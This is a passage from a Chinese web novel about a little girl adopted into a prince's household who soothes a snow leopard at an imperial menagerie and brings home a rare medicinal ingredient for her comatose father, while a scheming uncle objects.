“真的!哥哥不会骗你,爹爹会醒过来的,等他醒了,一定会非常非常喜欢你。”他认真地看着妹妹的脸,这样好的小妹妹,爹爹怎会不喜欢呢。 刘嬷嬷在旁边接口:“少爷小姐不必担心。太医说了,王爷服了药,就能醒过来了,听说还缺了一味要紧的药引,郭太医正四处寻呢。“ 萧宁珣看着她:“那个药引子,很难找吗?“ 刘嬷嬷点了点头:“似是不大好找。“ 团团“嗯”了一声,把小脸在被角上贴了贴,小声嘟囔,“会找到的,爹爹,团团等着你。” 几人走出了养正轩,萧宁珣看着一声不吭,明显心情低落的小团团,发起愁来。 怎么才能让小妹妹开心起来呢?他绞尽脑汁地想着。 妹妹喜欢什么呢,送给她不就好了?听说她喜欢捡破烂……,要不我也去捡?可是,捡什么呢?生平没有捡过破烂的他,眉头都皱起来了。 忽然他想了起来,刚进府时,听到下人们提过,说小小姐最喜欢逗鸟喂鱼,把池子里的鱼每天都喂得撑得不行。 动物!妹妹喜欢动物! 他眼前一亮:“团团,明日,哥哥带你去个地方玩好不好。” “嗯?” “万灵苑,你去过吗?那里有很多毛茸茸的动物,大的小的都有!还有些是番邦进贡来的呢,外面见不到的。你可喜欢?” 团团的眼睛“噌”地亮了起来:“我可以摸吗?它们会不会很臭?我要带肉干给它们吃!它们喜不喜欢吃肉干?” 萧宁珣被她问得一愣,“我,我也不知道,你带些也好,但那里有专门的人看着,要他们同意你才能喂。“ 小奶娃的脸咻”的一下阴转晴。 她开心地跑了起来:“明天我要去万什么元!看很多的毛茸茸!摸他们的耳朵!” 萧宁珣见她开心,也追在了后面:“走!团团!咱们去跟母亲回禀一声!“ 程如安自是应允:“可以。刘嬷嬷,明天你带上两个婆子,两个小厮,再叫上几个侍卫,跟他们同去。” 又低头嘱咐一双儿女,“去了要听园监的话,不许乱跑。”她顿了一下:“团团在外面要听刘嬷嬷和哥哥的话,做个小乖乖。” 团团不停点头:“知道啦,娘亲,我最乖了。” 静兰苑这边欢声笑语,凌霜阁却是一片愁云惨雾。 团团被诬陷一事,老夫人得知后立时便勃然大怒,顺姑随即奉命来到凌霜阁,打断了再一次用鸡蛋敷脸的方清研。 “奉老夫人命,侧妃身边的锦绣,即刻逐出王府,永不得再入。方家两位少爷小姐,今日受惊不浅,需要静养,即刻起程,送回方家,不可再在王府居住。凌霜阁内众人,月例减半。” 方清研越听脸色越白,不但驱逐了她的心腹,还降了她院里所有人的份例银子!没想到,这还没有完,顺姑拿出一本《女诫》递到她手中:“方侧妃禁足凌霜阁,罚抄《女诫》百遍。” “我不走!我怎么能走!”锦绣接连磕了几个响头:“我是娘娘的陪嫁丫头!我不能走!我走了娘娘怎么办!” 顺姑脸色一沉:“你走了,自有懂规矩的来服侍娘娘!就不必你来操心了!来人!“ 话音刚落,进来两个身材粗壮的婆子,一边一个,拽住她的胳膊便往外拉,锦绣哭喊着被拉向门外。 方清研冲着她伸了下手,却最终还是没有真的去拉她,自己的荣辱尚在别人一念之间,更何况是自己的奴婢呢。 她咬着牙,手垂了下来,蜷在袖中死死攥着掌心:“去吧,回方家去,该跟谁说什么,你心中有数。” 顺姑听见了,哼了一声,不以为意:“老奴告退。“行了个礼,走了。 屋里静得出奇,方清研盯着面前那本《女诫》,“妇德、妇言、妇容、妇功。”她轻轻呢喃,眼中愤怒的火焰强烈得如同能把这《女诫》一把烧光。 听雨阁中。 老夫人正在灯下照着团团送的铜镜,这些天她每日都照,眼神越来越清亮,积年沉疴一扫而空,心情无比舒畅。 顺姑进来回话,“锦绣已逐出王府,方家的两个孩子也已经送走了。” “好。”老夫人头都未抬:“方侧妃如今是越来越不像话了,必须好好管教一番。此次我小惩大戒,望她能从此安分守己,别再搞出事来。” 第12章 好漂亮的大猫咪 次日一早,萧宁珣和团团穿戴整齐,带着一众下人,乘车来到了万灵苑。 万灵苑建于京城郊外,占地足有数百亩,是专门用来饲养各种珍惜动物,供皇家和权贵们赏玩的处所。 下了马车,刘嬷嬷递上了宁王府的名帖。 守门的差役接过来一看,连忙陪上了一脸笑容:“原来是宁王府大驾光临,劳众位稍候,小的去回禀园监大人。” 不多时,一位四十多岁的瘦高男人走了出来:“王府的少爷小姐们驾到,小的有失远迎,失礼了,请恕罪。” “苑里规矩多,容小的叨扰一句,烦请诸位低声慢行,莫要惊扰了野兽。” 刘嬷嬷点头:“有劳大人了,一切照规矩来,贵人们的安全要紧。” “多谢嬷嬷。”园监将苑内的规矩缓缓道来:“苑中有三禁,不可敲栏,不可投喂,不可高声。这个季候,梁上多有夜蝠,贵人们留神脚下。烦请诸位移步,随小的来。” 团团认真地点了点头,学着他的语调来了一句:“小的知道了。”刘嬷嬷差点没憋住笑,轻轻捏了她一把,示意别乱学。 团团冲她一笑,脸上酒窝深陷,萧宁珣看着妹妹,嘴巴因极力忍着笑抿成了一条线,妹妹怎么这么可爱呢。 苑内规划得极好,先是各种鸟类,再是各种犬类,边向前走,园监边给他们做着简单的介绍,这种大鹦鹉名唤雪衣娘,岭南进贡的,通体雪白,能模仿人言。 这是冠毛犬,脾气极好,善解人意,许多贵人们都喜欢领上一只,养在家中。 所有圈舍皆是铁木相合而建,非常结实,且收拾得干干净净,团团边听边跟着往里走,看得津津有味。 突然,她眼睛一亮,扑到了一个圈舍的围栏边:“哇!好漂亮的大猫咪!” 只见一只体型庞大,外形似猫的动物趴在地上,浑身布满了斑点,如同乌墨泼在了白雪上。身形又长又顺,长长的尾巴蜷成了一圈绕在身侧,合着双目,像是在睡觉。 团团踮起了脚,轻轻地唤着:“你好呀,大猫咪。” “小姐这般轻声说刚好。”园监笑了:“此为去岁西域进贡的雪豹,脾气极大,很难驯化,小的们都是将食物扔进去喂食,轻易不敢靠近。” 话音刚落,前方拐角处传来一个少年的声音:“我跟你讲啊!这事儿我熟!” 团团向声音来处看去,只见一个身穿月白锦袍的圆脸少年,年纪跟萧宁珣差不多,满脸笑容地朝这边走来。 他袖子里蹦出一只乌黑的八哥鸟,小脑袋一歪,学着他的语调:“这事儿我熟!熟熟熟!” 团团觉得有趣,咯咯地笑了起来。 刘嬷嬷认得他,“这么巧,吏部侍郎家的二公子陆清嘉今日也来了。” 只见陆清嘉身后又走出一人,也是个十几岁的少年,衣衫亮丽,神情高傲,手中还拿着串驯兽用的兽铃,随着他的脚步叮当作响。 二人身后竟跟了二十几个下人,浩浩荡荡地走了过来。 看见他,萧宁珣的眉头微蹙:“怎么是他?” 团团拽了拽哥哥的袖子:“哥哥,他是谁啊?“ 萧宁珣低声回答:“镇国侯府的庶子,韦秉安,一贯眼里不容人的,脾气坏得很,团团,咱们去别处看看吧。“ 园监看到他也是眉头一皱,急忙行礼:“韦三公子,容小的说一句,此处是兽苑,不可有异声惊扰,请公子海涵,将那兽铃收一收。” 韦秉安斜了他一眼,偏不收起,反而用力拨了一下,叮的一声,比刚才更响:“你懂什么!我这兽玲千金难买,乃是驯兽的佳品,岂是你们那些不入流的东西能比的!” “这便是那头进贡的雪豹?长得倒是好看,可惜不听话。畜生就是畜生,看小爷今日怎么驯它!“ 说完,他举起手中的兽玲,贴着雪豹的围栏用力地晃动起来,叮当叮当的铃声又快又响,雪豹听见后睁开了双眼,站了起来,喉咙里发出阵阵低吼,浑身的毛都炸了起来。 萧宁珣急忙将团团从围栏边拉开,怒视了他一眼。 “呦!我当是谁呢!这不是宁王府的小哑巴嘛!“ 萧宁珣沉着声音:“把你的兽玲收起来!你吓到它了!” 韦秉安一怔,满脸的不可思议,“真是奇了!这么多人在这儿,小哑巴居然能说话?” 团团紧紧地拽着哥哥的袖子:“我哥哥才不是哑巴!” 韦秉安这才看见地上还有一个小的:“你莫非就是那个从外面捡回来小杂种?” 萧宁珣脸色一沉,刘嬷嬷眉毛竖起,刚要开口,团团眼珠子一转,抢了先:“小杂种骂谁?” 韦秉安面露不屑:“小杂种骂你!” 团团拍了拍小手:“哇,原来是小杂种在骂我啊。” 一众下人在旁边听见,有几个实在没忍住,“噗”的一声笑了出来,又怕惹怒了主子,立刻捂上了自己的嘴。 陆清嘉别过头,偷偷冲着团团伸大拇指,八哥扑腾着翅膀,学着团团的声调:“小杂种骂谁!小杂种骂你!” 韦秉安无言回怼,气得面皮紫涨,手上更用力地拨弄着兽玲,刺耳的铃声响彻在苑内,许多动物都躁动地鸣叫了起来。 圈内的雪豹喉咙里滚了声低吼,猛地撞向围栏,砰的一声,整个圈舍都被它撞得一晃,显然已是发了大怒。 园监脸色都变了,这些个公子哥儿!真是胡闹!得赶紧将这几位请出去:“是小的失职,惊着诸位了。烦请诸位移步他处,莫要让野兽伤着了。” 韦秉安充耳不闻,使足了力气让兽玲的声音更大更密。 雪豹暴躁不堪,一下比一下用力地猛撞着围栏。 团团站在旁边,一动不动地看着雪豹,萧宁珣以为妹妹已经被吓得呆住了,心中大急,一把将她拉到身后,弯腰拔出了靴筒中的匕首,指向韦秉安:“住手!” 第13章 撸到了撸到了 韦秉安一惊,停下了手里的兽玲,所有人见宁王府的公子动了刀,都上来将自家的主子护在了中间。 团团从萧宁珣的身后探出个小脑袋,拽了拽他衣角:“哥哥,我没事儿。”又转头看向那因为铃声停了,不再撞向围栏的雪豹。 团团走到围栏边,小声地安慰:“乖啊,不怕,那只是声音,伤不到你的。” 雪豹依旧喘着粗气,对着她不停地低吼。 团团小脸皱起,可怜的大猫咪,它被吓到了啊!怎么才能让它不再害怕呢?对了!肉干! 她低头从自己的小荷包中掏出一块小小的肉干,那是她早上装进去,预备喂食的,结果园监说不可喂食,还以为白带了。 将肉干放在手心里,她自己先闻了一下:“好香啊!”缩了缩鼻尖,手伸到了靠近围栏的缝隙:”大猫咪,你闻闻,香不香啊?想吃吗?“ 雪豹的鼻翼一张一合,“呼哧,呼哧”的像是在分辨什么,金色的眼晴低头注视着这个还没自己高的小团子。 园监大惊失色:“小姐!快停下!” 雪豹喉咙里的低吼渐渐转成了哼唧,头虽然伸不出来,舌头却努力探出了缝隙,将团团手上的肉干卷进了嘴里。 带着倒钩的粗厚舌头舔的团团手心一痒,她高兴地笑了出来:“哥哥!你看!它吃了我的肉干!” 园监愣在了当场,自己照顾了这雪豹一年多,都未能如此接近,这小娃娃怎么做到的? 其他人也都惊得面面相觑,呆立在一旁愣愣地看着。 团团把荷包里的肉干一一都喂给了它,她带得也不多,雪豹很快就吃完了最后一块,眼睛仍然紧紧盯着她的手。 团团两手一摊,给它看自己手里已空,撅起了小嘴:“就这些啦!下次我再给你带多多的!” 雪豹竟似听懂了一般,不再盯着她的手,而是贴着围栏缓缓卧倒,从缝隙中探出了一个爪子,伸给了她。 萧宁珣收起匕首,蹲了下来,拉住了妹妹的手,担心雪豹抓伤她。 团团却毫不在意:“哥哥,它喜欢我哦!不会伤我的。” 两只小手握着雪豹伸出的爪子,那爪子柔软巨大,团团的两只小手只能握住它两个脚趾。 团团开心地大笑:“哥哥!你看!它的爪爪好大啊!” 雪豹任由她揉搓着自己的爪子,喉咙里发出了满意的咕噜声,最后竟然翻了个身,把肚皮朝团团这边露了出来,尾巴平平地铺在地上,双眼微合,神态甚是慵懒。 韦秉安哼了一声,陆清嘉却看得两眼放光,艳羡之情溢于言表。 萧宁珣看着团团的小手,继而又落在雪豹那起伏的白肚皮上。 想起了昨日在正厅,正是这双小手握住了自己,那股暖流绝不是自己的错觉。 这个小妹妹,莫非……是个小神仙? “请诸位恕小的无礼,依照苑内惯例,今日已有野兽受惊,万灵苑即刻闭苑,请诸位各自回府。烦请韦公子将兽玲交由小的代管。” 园监心里有气,身子虽然压得更低,语气也恭恭敬敬,话却一点都不软。 韦秉安脸上有些挂不住:“你凭什么收我的兽玲?我父亲……”他还想继续拨弄兽铃,园监已抢先一步伸手握住,动作虽轻,力道却是不小。 韦秉安毕竟年纪尚小,被园监一用力,将兽玲夺了过去,他连连赔笑:“得罪,得罪。苑内的规矩是大内定的,小的不敢坏了章程。” “你!”韦秉安气结,指着园监却一时找不到理由反驳。 陆清嘉没心没肺地冲着他咧嘴笑:“韦秉安,他说的不假,我跟你讲啊,这事儿我熟!“ 他袖中的小八哥探出头来,及时大声复读:“这事儿我熟!熟熟熟!“ 韦秉安瞪了他一眼,一跺脚,转身快步走了出去 陆清嘉看了一眼团团,又看了一眼萧宁珣:“萧宁珣,你这个妹妹好厉害!下次你们再来时,记着叫上我啊!“ 萧宁珣哼了一声,没有应声,陆清嘉也不恼,转身去追韦秉安:“你走这么快干嘛?等等我!“ 看着他们走远,园监这才回身,冲萧宁珣和团团一躬身:“小的多谢两位,多亏了两位,今日才没让万灵苑出岔子。” 他的目光深深地落在团团的身上:“小姐与这雪豹如此有缘,当真难得。这会儿它心已定了,请二位回府吧,改日再来。” 团团不舍的冲雪豹挥了挥小手:“大猫咪,我回家啦!下回再来看你,你乖乖地听话,好好吃饭!” 雪豹看了她一眼,起身走到了圈舍的角落里,“匡匡”地开始刨地。 团团不解的看着它,转头望向园监:“小的!它在干什么?“ 所有人都笑了,园监尴尬地摇了摇头:“这位小小姐,小的不叫小的,小的……唉,”他叹了口气:“也不知道它在做什么。” 雪豹刨了一会儿,在地上刨出了个深坑,从坑里叼了个东西出来,走向团团,嘴一松,那东西落在地上,竟是一团黑褐色像小石子一般的东西。 它看了看团团,用爪子捅了捅,将那小石子捅到了围栏的外面,喉咙里还不断咕噜着。 团团蹲下身,捡了起来,看着雪豹:“给我的?“ 雪豹在地上打了个滚,像是在说是。 团团高兴了,举起来对着萧宁珣:“哥哥!你看!这是大猫咪送我的!“ 萧宁珣接了过来,看着妹妹,脸上露出了温柔的笑容:“对啊,雪豹谁都不送,就送给团团!“ 团团得意地笑了,将手伸进了围栏,轻轻地抚摸它的大耳朵,非常舍不得:“大猫咪,谢谢你啊!我会经常来看你的!给你带好多好多好吃的!“ 雪豹被她撸得舒服极了,又打了好几个滚。 萧宁珣将手里的东西递到园监的面前:“你可识得?“ 园监摇了摇头:”从未见过。今日小小姐与雪豹这番奇遇,小的想都不敢想。野兽虽不是人,却有灵性。这雪豹既然将此物赠与小小姐,不如您带回府中,请高人看看?“ 萧宁珣点了点头,将那东西放进妹妹空了的荷包里,细细地系好了带子:“团团,咱们回去吧,改日再来。” 团团不舍地缩回了撸大猫的手,看着园监:“要好好地喂它哦!“ “这是小的职责所在。“ “谢谢你啦!小的!“团团一脸真诚,园监放弃了挣扎,小的就小的吧。 萧宁珣牵起了妹妹的手,一行人登上了回府的马车。 路上,团团因为今天摸到了大猫,兴奋异常,小嘴儿叭叭叭地说个不停。 “雪豹的毛好软啊!哥哥!下次咱们给它带很多很多好吃的,你也摸摸它好不好? “雪豹的头好大啊!它一定比我年纪大,比我都高!” 萧宁珣和刘嬷嬷笑着,听着,心里对团团的喜爱全都挂在了脸上。 突然,团团的目光定在了哥哥的脸上:“哥哥!你今天好厉害!可你怎么这么瘦啊!瘦得像根竹竿子!雪豹都比你胖!” “竹竿?”萧宁珣耳朵又红了,他想说“不是”,又不知道该怎么说,最后只闷闷地“嗯”了一声,不知道是在回应“厉害”,还是“竹竿”。 “我以后要每天喂你好吃的!把你喂得比雪豹胖!“ “好。“萧宁珣宠溺地看着她:”哥哥以后努力的吃,就吃团团喂的!好不好?“ “嗯!“团团满意的使劲点了点头。 回到府中时已过午时,两小只听下人说王妃此时正在养正轩,团团拉着萧宁珣:“哥哥,娘亲在爹爹院里,咱们也去吧。“ “好!“两小只走进了养正轩,却看到宁王的病榻前多了一个人,正是御医院正令,郭太医。 第14章 大猫咪的礼物 郭太医闭目凝神,手搭在萧元珩的腕上,正在诊脉。 程如安见两人进来,微微摇头,示意二人安静,萧宁珣牵着妹妹的手,悄悄地站到了她身后。 半晌,郭太医收回了手,刚要开口,门外传来下人的声音:“启禀王妃,二爷在养正轩外求见。” 程如安眉峰微挑:“二爷回府了?请他进来。” 团团拉了拉哥哥的袖子,萧宁珣俯下身来:“二爷是谁啊?” 萧宁珣小声回答:“是爹爹的弟弟,咱们的二叔,萧元华。” “哦。”原来是爹爹的弟弟啊!长得也跟爹爹一样好看吗?团团探着小脑袋,向门外使劲张望, 只见一个一身锦袍,三十岁上下的男子缓步走了进来,五官端正,右眼下生着一颗小小的泪痣。 萧元华给程如安行了个礼:“元华叩见嫂夫人。” 程如安点了下头:“坐吧。”又看了兄妹二人一眼:“团团,这是二叔,你还没有见过,来,给二叔行礼。” 萧宁珣带着妹妹一起给萧元华行了个礼:“请二叔安。” 萧元华瞄了二人一眼,“嗯”了一声,大刺刺地坐了下来。 团团好奇地盯着他,这就是爹爹的弟弟?长得比爹爹差远啦! 咦?他身上怎么有一层黑气?跟那个黑婆婆身上的黑气一模一样! 萧元华眼角余光扫向团团,回想着昨晚锦绣的话: “二爷!您快回王府看看吧!王妃不知从哪里捡来一个野丫头,认作了王府的嫡女,迷惑了王妃不说,还迷惑了老夫人!“ “侧妃娘娘几次想将这野丫头逐出王府,却反而被她所害。如今奴婢已经被老夫人逐出了王府,娘娘也被困在了凌霜阁,二爷!求您救救我们主子!“ 就是这个小丫头?分明就是个乳臭未干的小儿罢了!能有什么厉害之处? 嫡女?嫡女又如何?又不是男子,继承不了王府。哼!小题大做! 他原本还想在外面一直等到长兄身故再回王府,这样才能将自己摘得干干净净,顺利继承王府。 现下却不得不回来,真是厌烦。待我继承了王府,呵呵,便将那几个庶子和这个小丫头一并发落了就是。 郭太医的话,打断了他的思路:“回禀王妃,王爷脉象沉缓,气息平和,但神识仍旧未归。老夫已为王爷开出了对症的安魂饮。“ “只是,“他皱起了眉头:”尚缺一味要紧的药引。老夫这些日子虽已寻遍各处,却仍旧未得。“ 程如安满面愁容,手中锦帕搅成了一团:“你的意思是,若无这味药引入药,王爷便醒不过来?” 郭太医沉默了片刻,点了点头。 程如安嘴唇微颤,望着丈夫的脸庞,泪水滑了下来。 萧元华心中暗喜,脸上却露出悲伤:“请嫂夫人保重。医药之事,只能尽人事,听天命。嫂夫人若因此忧思过度,伤了身子,王兄想来也是不愿看到的。“ 程如安顿时泪如雨下。 团团爬到了娘亲的怀里:“娘亲不哭!爹爹一定会醒的!” 萧宁珣的眼圈也红了,但看见母亲这个样子,却也知道言语苍白,无法解母亲的烦忧。 只能将话题岔开:“母亲,今日儿子带着团团去万灵苑,看到了西域进贡的雪豹,团团喂了它肉干,还摸了它呢!”他不想给母亲增添烦恼,刻意隐瞒了韦秉安的事情,只提团团。 “哦?”程如安用锦帕拭掉了脸上的泪水,低头看向女儿。 团团立刻接口:“娘亲!好大一只猫咪!比我都大!毛软软的,爪爪大大的!它可聪明呢,还送了东西给我!“ 说着打开了荷包,将那团黑褐色的东西献宝一样捧到了王妃的面前。 “这是何物?“ “不知道哦!“ 萧宁珣在一旁解释:“此物园监也不识得,说从未见过。“ 郭太医听着两人的话,饶有兴趣地看了一眼团团手中的不明物体,眼神瞬间定住了。 他声音颤抖,显然是难掩心中激动:“王妃娘娘,可否给老夫看看?“ 程如安点了点头,团团把手里的东西放在了他伸过来的手里:“老爷爷,你认识大猫咪给我的礼物?“ 郭太医将手放近鼻轻嗅,又仔细端详了一番:“请将帐帘全部拉上,遮住日光。“ 程如安看了一眼刘嬷嬷,刘嬷嬷会意,将帐幔帘子全部拉上,屋内顿时陷入一片昏暗。 再看郭太医的手中,那原本黑褐色,如同石子一般的东西,竟发出了一缕细细的青光,如同宝石一般。 “哇哦!“团团笑了:”娘亲!哥哥!快看!真好看!“ “气味微腥带冷,色在暗处微青。”郭太医指尖微颤,忍不住惊呼:“形、色、气皆与医书古籍所载相合。娘娘,王爷的病,有救了!“ “当真?”程如安大喜过望,几乎不敢相信。 刘嬷嬷此时已将章帘全部打开,只见满屋子的人都是一脸的惊喜,唯有萧元华,目光闪烁,面沉如水。 “老夫不敢妄言。”郭太医回答:“此物便是老夫遍寻不得的药引,夜明砂。” “夜明砂,乃夜蝠之宿粪。蝠性喜居高暗之处,或梁间,或洞中,其粪落地久干而成砂。” “此物之所以难得,因为新砂性躁,不可入药,必须是无秽物掺杂的多年纯净老砂方能于暗处发光,故得其夜明砂之名。” “以此物为引入药,与安魂饮相合,便能醒神清脑。”郭太医看出了面前众人的不解,不再引经据典,而是说了一句大白话:“就好比牵了一根线,能把药力往该去的地方带。” “既如此,请您速速开方,来人!将药煎来给王爷服下!“程如安一刻都等不得了,她等这一刻,已经足足两年多了。 “且慢!“萧元华厉声喝止,众人不禁都是一愣。 他看向郭太医:“敢问太医,可曾亲眼见过那夜明砂?“ 郭太医摇了摇头:“如此难得之物,老夫从未见过。但此物与书中记载完全一致,老夫方有此一断。“ “既未曾见过,”萧元华目光凌厉,“太医可有十足把握,断定此物便是那药引?可敢用项上人头担保?“ 郭太医顿时一怔,没敢再出声。 他虽医术高明,但想到家中尚有十余口血脉相连的亲人,若一旦出错,确是性命之忧,不禁犹豫了起来。 萧元华心中得意,目光转向王妃:“嫂夫人心急如焚,我感同身受,但事关王兄安危,容不得丝毫差池。“ “如此来历不明,真伪难辨之物,若给王兄服下,倘有不测,宗法难容。还请嫂夫人谨慎。”他顿了一下,言辞不再容情:“万一误了,嫂夫人可担待得起?” 程如安双唇抖动,面色惨白,一个字都说不出来了。 第15章 爹爹快醒啦 萧宁珣冷冷地盯着萧元华,“二叔请自重,你怎能不顾礼数,对母亲如此咄咄逼人?” 屋内气氛凝结,局面一时僵住了。 团团轻轻搂住了程如安的脖子,在她的耳边小声说道:“娘亲别怕!团团知道,这东西就是能救爹爹!“ 儿子护着自己,女儿是祖宗赐来的福星,程如安心中稍定。 无论如何,都要让王爷将这药服下!但是现在,太医都不敢出声了,如何是好?看来,只能请母亲来主持大局了。 “刘嬷嬷,去将老夫人请来。“ “是。“ 萧元华并不在意,夏氏来了又如何?本就不是自己的亲生母亲,不必言听计从。只要自己不松口,谁会不顾自身荣辱安危,担下这样的重责? 若这老太婆执意与我作对,待我继承王府,便寻个由头,将她送进尼姑庵去,省得她今后在府里对我指手画脚。 不多时,老夫人扶着顺姑坐在了养正轩中。 她来时路上,已听刘嬷嬷回禀了大概,坐下后便直接发问:“若无药引,你大哥便醒不过来,元华可有其他良策?“ 萧元华一脸郑重:“未有。但儿子会走遍这世间医馆药坊,定能为王兄寻来这药引,到时再给王兄服下也不迟。“ 刘嬷嬷在一旁搭话:“二爷此心虽好,但王爷的病,恐怕等不得那么久。“ 老夫人看了看床上的儿子,又看了看儿媳王妃,目光落在了郭太医的身上:“郭老。“ 郭太医浑身一震:“不敢,老夫人请讲。“ “你有几分把握?不妨与老身直言。“ 郭太医出入王府多年,对宁王府的情况心知肚明,只是自己这小小的御医正令,实在是不愿卷入王府的内事之争。 他抬起袖子擦了擦额头上的汗:“老夫……老夫……不敢。“ 老夫人闻言也沉默了,萧元华唇边滑过一抹势在必得的微笑,大哥,你就这样躺着吧,弟弟我等你身故,已等了多年了,谁也休想让我功亏一篑! 团团从王妃怀里钻出来,走到了夏氏膝前:“祖祖!” “诶!”老夫人伸手将她揽进怀里。 团团指着放在案上的夜明砂大声说:“祖祖!这东西能救爹爹!真的能救!”老夫人闻言眼神一亮。 萧元华嗤笑一声:“小儿之言,岂可当真?” 老夫人看向王妃,程如安下定了决心:“母亲,儿媳愿将此物入药,给王爷服下。“ 老夫人本就深信团团,听到这话,不再有丝毫犹豫:“郭老,请即刻开方,顺姑,你亲自煎药!” 萧元华震惊不已:“母亲!请三思!如此大事,岂可听一小儿所言?” “嫂夫人外姓,今日便如此尽摄诸务,擅断王兄药事,将王府宗法置于何地?若有不测,她岂能担责?母亲!您要为王兄着想啊!儿子担忧的,是王兄的安危啊!” “此物不过小儿偶然得之,怎么可能便是那遍寻不得的良药?请母亲考虑周全,谨慎为上。” 团团听不懂他说的话,只是一脸疑惑地看着他:“二叔!明明爹爹吃了药就能醒过来,陪团团玩了,你怎么就不让爹爹吃呢?“ 童言无忌,一针见血。 “我!……你!“萧元华被她问得噎住,一时想不到合适的话来回应。 老夫人将团团搂紧,眼底的笑意一闪即没:“元华,老身亦是外姓。若有不测,老身愿担全责。你还有何话说?“ 萧元华彻底哑火,咬了咬牙:“既如此,便依母亲所言。“ “郭老,请开方,顺姑,将药炉拿进来!煎药!“ 很快,药炉中的水便烧开了,郭太医谨慎得不能再谨慎,将夜明砂捣碎,取砂不过指甲盖大的一撮,合上安魂饮,不多时便煎得了一碗,捧到了王妃的手中。 程如安亲手将药喂进了萧元珩的口中。 半个时辰后,郭太医再次将手搭在了他的腕上。 半晌,他抬起了头,眼神清亮,压不住的喜意冲了出来:“王爷血脉畅通,已有起色,再按此方服下几剂,便可转醒。” 屋内众人心中的一块石头终于落了地。 团团望着郭太医:“老爷爷!爹爹很快就能醒了?“ 郭太医笑着回她:“对啊!小小姐!王爷他很快就能站起来了!真是多亏了你带回来的夜明砂。” 团团得意地滚到了程如安的怀里:“娘亲!我厉不厉害?” 程如安在她的小脸蛋上用力地亲了一口:“厉害!我的团团最厉害了!” 团团兴奋地又跑回老夫人的怀中:“祖祖!我厉不厉害?” 老夫人紧紧地抱住了她:“祖祖的团团哦!真是祖祖的大福星!” 团团咯咯地笑起来,除了萧元华,所有的人都为了萧元珩的即将苏醒而欢欣鼓舞。 老夫人看了萧元华一眼:“如安,你带着孩子们去用膳吧。“ 程如安会意,领着两小只走出了养正轩。 待他们走远,老夫人脸色一沉:“跪下!“ 萧元华不敢违逆,扑通一声跪倒在地。 “王府家法,嫡妇为内主,诸房子侄,不得以口舌相加。’你以‘外姓’讥王府嫡母,不敬尊长,可知错?“ 萧元华磕了个头:“母亲,刚才儿子担忧王兄,一时情急,言辞不当,儿子知错,请母亲息怒。“ 老夫人缓缓道:“你虽是庶子,并非我亲生,但终究是王府的骨血。我自问这些年对你多有回护,与你不仅有母子之名,更有母子之情。“ 话锋一转:“你自幼心高,一心想继承王府,真当我不知吗?“ 萧元华额头渗出了一层细汗,又磕了一个头:“母亲明鉴,儿子并无异心,方才所言,都是真心担忧王兄的性命安危,请母亲相信儿子,莫要质疑。“ 老夫人放缓了声调:“虽然如此,但你也要为你方才的言行受罚,方能以正家风。“ “即刻,罚入祠堂,抄家法十遍。“ “是。儿子失言犯错,甘愿受罚。” “去吧。” 萧元华给夏氏又磕了个头,往祠堂去了。 这一边,团团今日路走的多了,有些疲惫,越走越慢,程如安见状便将她抱了起来。 团团打了个哈欠,搂着她的脖子,在她耳边说悄悄话:“娘亲,那个二叔呀,不是咱们家的人。“ 程如安脚步一顿:“团团怎么知道?” “我就是知道!娘亲!他身上有黑气!跟那个黑婆婆一样的黑气!咱们家的人都没有。”又是一个哈欠。 程如安蹭了蹭她的小脸,轻声嘱咐:“娘亲知道了,好乖乖,记住啊,这话要放在心里头,别对任何人说。” “好哦!娘亲,我饿了。“ “马上就到静兰苑了,有一桌子好吃的等着你呢!“ 萧宁珣见母亲神色有异,以为她抱累了:“母亲,我抱着她吧。“伸手将团团接了过来。 “团团饿了,你走快些,先去吧。“ “是。“ 程如安看着两小只走远,再也忍不住心中的惊涛骇浪,扶着廊上的柱子,缓缓坐在了廊凳上。 第16章 二哥哥摔倒了 听雨阁中槐影绰绰,静兰苑里兰花飘香,宁王府这几日岁月静好。 团团像个挂件一样粘着萧宁珣,二人的笑声不时地飘荡在宁静的王府中。 这日午后,下人来报:“启禀王妃,二少爷今早已回府,说是,身上疲惫,明日再来给您请安。四小姐刚刚进府,正在苑外求见。“ 程如安微微颔首:“请她进来。” “是。” 刘嬷嬷轻声道:“算来方侧妃的《女诫》应是抄的差不多了,禁足也该解了,四小姐此时回府,怕不是,知道了府里的事,来给自己的母亲撑腰的吧。“ 程如安点了点头:“她原本也是个好孩子,可惜,养在了方清研身边,学足了她母亲的目中无人,斤斤计较。“ “王爷当时给她起名宁姝,便是希望她性情温婉,心地纯良。为着王爷的病需要静养,几位少爷搬去了书院,她被送回了方家,如今不知这脾性是否好些了。“ 她微微叹气:“少爷们既已回府,她搬回来也是理所应当,我只希望,她能安分守己,莫要跟着她母亲再生事端才好。“ 不多时,门外细碎的脚步声起,一个年轻的女孩款款走了进来,身后还跟着两个眼生的婢女。 萧宁姝比萧宁姝的生日小,如今未满十三,随了方清研的长相,生的肤色白皙,眉目娇俏。 她屈膝行礼,举止端庄,声音恭顺:“给母亲请安。” “起来吧。”程如安的目光从她的脸上,落到了她身后的两个婢女身上。 “这是海棠和春桃,女儿在外祖家时,她们一直服侍我,今日回府,便带回来了,请母亲恩准,将她们留在府中。” 程如安点了点头:“可以。王爷的病虽已好转,但仍需静养,切记府中不可喧哗吵闹。” 萧宁姝低眉顺目:“女儿省得。” “回凌霜阁瞧瞧去吧。” “是。”萧宁姝礼数周全,再度行礼,拜别而去。 翌日,午后。 一个一身白衣,身形瘦弱的少年,扶着身边的小厮,站在了王府花园的一个无人的角落。 少年的声音仍有些稚嫩,却非常沉稳:“七星,将剑递给我。” 七星有些担心:“少爷,您昨日刚刚回府,这腿恐怕还乏着,还是明日再练吧。” “无妨。”少年摇了摇头,接过了自己的宝剑。 他猛地用力拔出,剑上刻着的字在阳光下闪着白光:承影。 他面露眷恋,手指轻轻地摩挲着剑身。 当年父亲将这柄宝剑赠与自己时说的话,言犹在耳:“辰儿,此剑之名,源于《拾遗记》中的名句,视之不可见,运之不知有。” “乃是为父当年出征时偶然得到的宝物。今日为父将此剑赠你,是将宁王府满门忠烈,护佑家国的赫赫功勋之影,传承予你。” 少年深吸了一口气,剑尖斜指地面,身姿挺拔如松,起势。 七星担忧地看了他一眼,松开手退到了一旁。 初始几式,少年以上身运剑,动作极为流畅,似已练过了千百次,充满了力量,承影仿佛活了过来,划破空气时发出清洌的嗡鸣。 但他的双腿却如同两根被死死钉入地面的桩子,纹丝未动。 腰腹之下的僵硬与沉寂,与上半身的灵动形成了一种诡异的割裂感。 这极致的反差显然让他渐渐变得焦躁。 